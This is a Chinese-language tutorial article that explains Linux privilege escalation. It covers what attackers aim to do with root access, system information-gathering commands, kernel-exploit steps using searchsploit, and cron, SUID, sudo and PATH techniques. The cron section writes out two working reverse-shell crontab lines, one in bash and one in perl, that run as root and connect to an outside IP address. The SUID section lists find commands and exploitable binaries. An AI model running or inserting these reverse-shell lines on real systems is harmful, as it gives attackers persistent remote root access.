linux提權是什麼意思

2023-03-15 14:00:59

提權指的是低許可權使用者利用各種合法的或非法的手段獲取到了高於本使用者的系統許可權;Linux提權一般是指獲取root使用者許可權的操作過程。Linux提權的本質一方面是資訊收集,另一方面是對核心漏洞的掌握情況;提權是否成功的關鍵是資訊收集是否完整。

本教學操作環境:linux7.3系統、Dell G3電腦。

linux提權概念介紹

提權是什麼

提權指的是低許可權使用者利用各種合法的或非法的手段獲取到了高於本使用者的系統許可權。

詳細來說,就是指利用作業系統或應用軟體中的程式漏洞、設計缺陷或設定疏忽來獲取對應用程式或使用者來說受保護資源的高階存取許可權。其結果是,應用程式可以獲取比應用程式開發者或系統管理員預期的更高的特權,從而可以執行授權的動作。

Linux提權一般是指獲取root使用者許可權的操作過程。

Linux提權目的

提權操作有風險為什麼還要進行提權?什麼情況下需要進行提權?獲取高許可權之後可以做什麼?

通過命令執行漏洞獲取的一個反彈shell或是通過Web漏洞獲取了一個Webshell後,一般情況下許可權都較低。在執行一些重要敏感的操作或是對重要的檔案進行修改時無法正常進行,便需要進行提權。Linux中安裝的資料庫、中介軟體等一般都不是以root使用者啟動的,通過資料庫或是中介軟體獲取到的許可權是是低許可權的。

獲取一個root許可權是每一個駭客的夢想。

  • 讀取寫入伺服器中的重要檔案:
    • 修改root密碼
    • 替換系統命令
  • 在系統中放置更為隱蔽的後門:
    • ping後門
    • Rootkit
  • 保證伺服器重新啟動之後許可權仍在:
    • 記憶體後門

Linux提權本質

Linux提權的本質一方面是資訊收集,另一方面是對核心漏洞的掌握情況。

Linux資訊收集

任何提權的第一步操作一定是對作業系統進行資訊收集。提權是否成功的關鍵是資訊收集是否完整。

  • 核心裝置資訊:

    • uname -a 列印所有可用的系統資訊
    • uname -r 核心版本
    • uname -n 系統主機名。
    • uname -m 檢視系統核心架構(64位元/32位元)
    • hostname 系統主機名
    • cat /proc/version 核心資訊
    • cat /etc/*-release 分發資訊
    • cat /etc/issue 分發資訊
    • cat /proc/cpuinfo CPU資訊
  • 使用者和群組資訊:

    • cat /etc/passwd 列出系統上的所有使用者
    • cat /etc/group 列出系統上的所有組
    • grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超級使用者賬戶
    • whoami 檢視當前使用者
    • w 誰目前已登入,他們正在做什麼
    • last 最後登入使用者的列表
    • lastlog 所有使用者上次登入的資訊
    • lastlog -u %username% 有關指定使用者上次登入的資訊
    • lastlog |grep -v "Never" 以前登入使用者的資訊
  • 使用者和許可權資訊:

    • whoami 當前使用者名稱
    • id 當前使用者資訊
    • cat /etc/sudoers 誰被允許以root身份執行
    • sudo -l 當前使用者可以以root身份執行操作
  • 環境系統變數資訊:

    • env 顯示環境變數
    • set 現實環境變數
    • echo %PATH 路徑資訊
    • history 顯示當前使用者的歷史命令記錄
    • pwd 輸出工作目錄
    • cat /etc/profile 顯示預設系統變數
    • cat /etc/shells 顯示可用的shell

核心漏洞提權

核心漏洞提權指的是普通使用者存取作業系統核心,利用核心漏洞將許可權提高為root許可權,一般首先需要知曉作業系統的核心,核心的版本等資訊,再尋找核心漏洞的EXP進行提權

linux常用檢視系統資訊命令

uname -a 檢視系統全部資訊
uname -r 檢視核心版本
cat /proc/version 檢視核心資訊
cat /etc/*-realease 檢視CentOS版本
cat /etc/issue 檢視Ubuntu版本
cat /etc/redhat-release 檢視RedHat版本
env 檢視環境變數
echo $PATH 檢視當前環境變數
awk -F: '($3==0){print $1}' /etc/passwd 查詢UID為0的使用者
find / -user root -perm -4000 -exec ls -ldb {} \;  查詢設定了SUID的檔案
登入後複製

例子:

1)檢視系統的核心版本

1.png

2)使用kali的searchsploit尋找對應的核心漏洞或網上尋找相應的核心漏洞

2.png

3)使用gcc將C語言程式編譯成可執行檔案,上傳至靶機,執行即可提權至root許可權

Linux其他提權方法

1、計劃任務提權

利用原理:

  • 當 /bin/sh指向/bin/dash的時候(ubuntu預設這樣,當前的靶機也是這樣),反彈shell用bash的話得這樣彈: * * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
    這樣彈shell的時候不知道為什麼很慢,耐心等等
  • */1 * * * * root perl -e 'use Socket;\(i="106.13.124.93";\)p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2、利用SUID提權

  • SUID概念:SUID(設定使用者ID)是賦予檔案的一種許可權,它會出現在檔案擁有者許可權的執行位上,具有這種許可權的檔案會在其執行時,使呼叫者暫時獲得該檔案擁有者的許可權。SUID可以讓呼叫者以檔案擁有者的身份執行該檔案,所以我們利用SUID提權的思路就是執行root使用者所擁有的SUID的檔案,那麼我們執行該檔案的時候就得獲得root使用者的身份了。那麼,為什麼要給Linux二進位制檔案設定這種許可權呢?其實原因有很多,例如,程式ping需要root許可權才能開啟網路通訊端,但執行該程式的使用者通常都是由普通使用者,來驗證與其他主機的連通性。

  • SUID提權:什麼是suid提權呢?一個檔案,它有s標誌,並且他輸入root,那麼我們執行這個程式就可以有了root的許可權,並且這個程式還得能執行命令,那麼我們就能從普通使用者提升到了root許可權了。

  • 在本地查詢符合條件的檔案。

    • find / -user root -perm -4000 -print 2>/dev/null
    • find / -perm -u=s -type f 2>/dev/null
    • find / -user root -perm -4000 -exec ls -ldb {} ;
  • 常見的可以提權的程式

    • nmap vim find Bash More Less Nano cp netcat

3、利用SUDO提權

Linux系統中可以使用sudo執行一個只有root才能執行的命令,組態檔儲存在/etc/sudoers,sudo -l可以列出當前使用者支援sudo的命令。

儘量從程式碼層面進行對漏洞的分析。

4、環境變數提權

  • 檢視當前環境變數:

    • echo $PATH

5、root許可權執行的服務

  • 以root的執行的服務,其中包括第三方軟體都可以進行提權。

相關推薦:《Linux視訊教學

以上就是linux提權是什麼意思的詳細內容,更多請關注TW511.COM其它相關文章!